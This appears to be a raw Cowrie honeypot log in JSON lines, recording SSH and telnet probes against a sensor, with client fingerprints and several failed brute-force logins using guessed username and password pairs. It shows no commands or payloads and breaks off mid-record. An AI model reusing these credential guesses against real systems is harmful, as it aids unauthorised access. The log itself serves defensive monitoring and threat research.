{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:36.440758Z","src_ip":"103.75.183.219","session":"60a3748abef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer12","message":"login attempt [root/qwer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:37.161981Z","src_ip":"103.75.183.219","session":"60a3748abef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:38.405256Z","src_ip":"103.75.183.219","session":"60a3748abef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.57165789604187,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:51.654804Z","src_ip":"192.119.13.58","session":"e6c5f96187c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":51816,"dst_ip":"159.203.135.109","dst_port":22,"session":"a62000cc25e5","protocol":"ssh","message":"New connection: 103.166.103.173:51816 (159.203.135.109:22) [session: a62000cc25e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:58.379519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:58.384385Z","src_ip":"103.166.103.173","session":"a62000cc25e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:58.613242Z","src_ip":"103.166.103.173","session":"a62000cc25e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:59.563602Z","src_ip":"103.166.103.173","session":"a62000cc25e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.07105898857117,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:00.327895Z","src_ip":"192.119.13.58","session":"1dc587195645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:00.796788Z","src_ip":"103.166.103.173","session":"a62000cc25e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49612,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c1cc82c784e","protocol":"telnet","message":"New connection: 192.119.13.58:49612 (10.17.0.5:23) [session: 6c1cc82c784e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:02.093636Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":53698,"dst_ip":"159.203.135.109","dst_port":22,"session":"85bada28c09e","protocol":"ssh","message":"New connection: 62.133.63.178:53698 (159.203.135.109:22) [session: 85bada28c09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:03.519966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:03.525447Z","src_ip":"62.133.63.178","session":"85bada28c09e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:03.645723Z","src_ip":"62.133.63.178","session":"85bada28c09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.56713843345642,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:03.817708Z","src_ip":"192.119.13.58","session":"ebd3505e9cb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasdqwe123","message":"login attempt [root/zxcasdqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:04.011146Z","src_ip":"62.133.63.178","session":"85bada28c09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:05.134808Z","src_ip":"62.133.63.178","session":"85bada28c09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.304847955703735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:05.257787Z","src_ip":"192.119.13.58","session":"caed763cdf03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":60016,"dst_ip":"159.203.135.109","dst_port":22,"session":"20759bf72f33","protocol":"ssh","message":"New connection: 103.210.22.17:60016 (159.203.135.109:22) [session: 20759bf72f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:06.332772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:06.338141Z","src_ip":"103.210.22.17","session":"20759bf72f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50132,"dst_ip":"10.17.0.5","dst_port":23,"session":"763fda1d5f0e","protocol":"telnet","message":"New connection: 192.119.13.58:50132 (10.17.0.5:23) [session: 763fda1d5f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:09.159000Z"}
{"eventid":"cowrie.session.closed","duration":33.06604838371277,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:09.278589Z","src_ip":"192.119.13.58","session":"b550db9a7674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.495031118392944,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:10.179970Z","src_ip":"192.119.13.58","session":"ed49e5a563ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.45484256744385,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:10.434597Z","src_ip":"192.119.13.58","session":"fe3628f574c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39568,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ebeac7551ce","protocol":"telnet","message":"New connection: 192.119.13.58:39568 (10.17.0.5:23) [session: 0ebeac7551ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:16.276928Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:16.313852Z","src_ip":"103.210.22.17","session":"20759bf72f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:16.324850Z","src_ip":"103.210.22.17","session":"20759bf72f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.96995830535889,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:16.958981Z","src_ip":"192.119.13.58","session":"a0c0bf520c12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55573,"dst_ip":"159.203.135.109","dst_port":22,"session":"652e3850cbc5","protocol":"ssh","message":"New connection: 152.42.212.128:55573 (159.203.135.109:22) [session: 652e3850cbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:18.129520Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:18.134636Z","src_ip":"152.42.212.128","session":"652e3850cbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:18.139040Z","src_ip":"152.42.212.128","session":"652e3850cbc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45274,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fe5774afcdc","protocol":"telnet","message":"New connection: 192.119.13.58:45274 (10.17.0.5:23) [session: 9fe5774afcdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:21.499291Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51014,"dst_ip":"10.17.0.5","dst_port":23,"session":"175f1078a4c3","protocol":"telnet","message":"New connection: 192.119.13.58:51014 (10.17.0.5:23) [session: 175f1078a4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:24.083658Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60534,"dst_ip":"10.17.0.5","dst_port":23,"session":"8464ba6a5259","protocol":"telnet","message":"New connection: 192.119.13.58:60534 (10.17.0.5:23) [session: 8464ba6a5259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:25.564805Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36396,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c8cf832bcd","protocol":"telnet","message":"New connection: 192.119.13.58:36396 (10.17.0.5:23) [session: 00c8cf832bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:26.637161Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd30cb62684","protocol":"telnet","message":"New connection: 192.119.13.58:46162 (10.17.0.5:23) [session: 7fd30cb62684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:29.031108Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"db569084a9bd","protocol":"telnet","message":"New connection: 192.119.13.58:34884 (10.17.0.5:23) [session: db569084a9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:33.312940Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"313245697cbd","protocol":"ssh","message":"New connection: 43.135.129.144:35474 (159.203.135.109:22) [session: 313245697cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:37.014688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:37.020355Z","src_ip":"43.135.129.144","session":"313245697cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:37.088847Z","src_ip":"43.135.129.144","session":"313245697cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ds123456","message":"login attempt [root/ds123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:37.398220Z","src_ip":"43.135.129.144","session":"313245697cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:38.469618Z","src_ip":"43.135.129.144","session":"313245697cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":60192,"dst_ip":"10.17.0.5","dst_port":22,"session":"335e60529fff","protocol":"ssh","message":"New connection: 43.153.104.156:60192 (10.17.0.5:22) [session: 335e60529fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:39.835237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:39.839190Z","src_ip":"43.153.104.156","session":"335e60529fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:39.906638Z","src_ip":"43.153.104.156","session":"335e60529fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gz123456","message":"login attempt [root/Gz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:40.209055Z","src_ip":"43.153.104.156","session":"335e60529fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:41.280052Z","src_ip":"43.153.104.156","session":"335e60529fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.93488693237305,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:42.028398Z","src_ip":"192.119.13.58","session":"6c1cc82c784e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60120,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b86ecfd06a5","protocol":"ssh","message":"New connection: 103.173.227.57:60120 (159.203.135.109:22) [session: 3b86ecfd06a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:44.190769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:44.195406Z","src_ip":"103.173.227.57","session":"3b86ecfd06a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh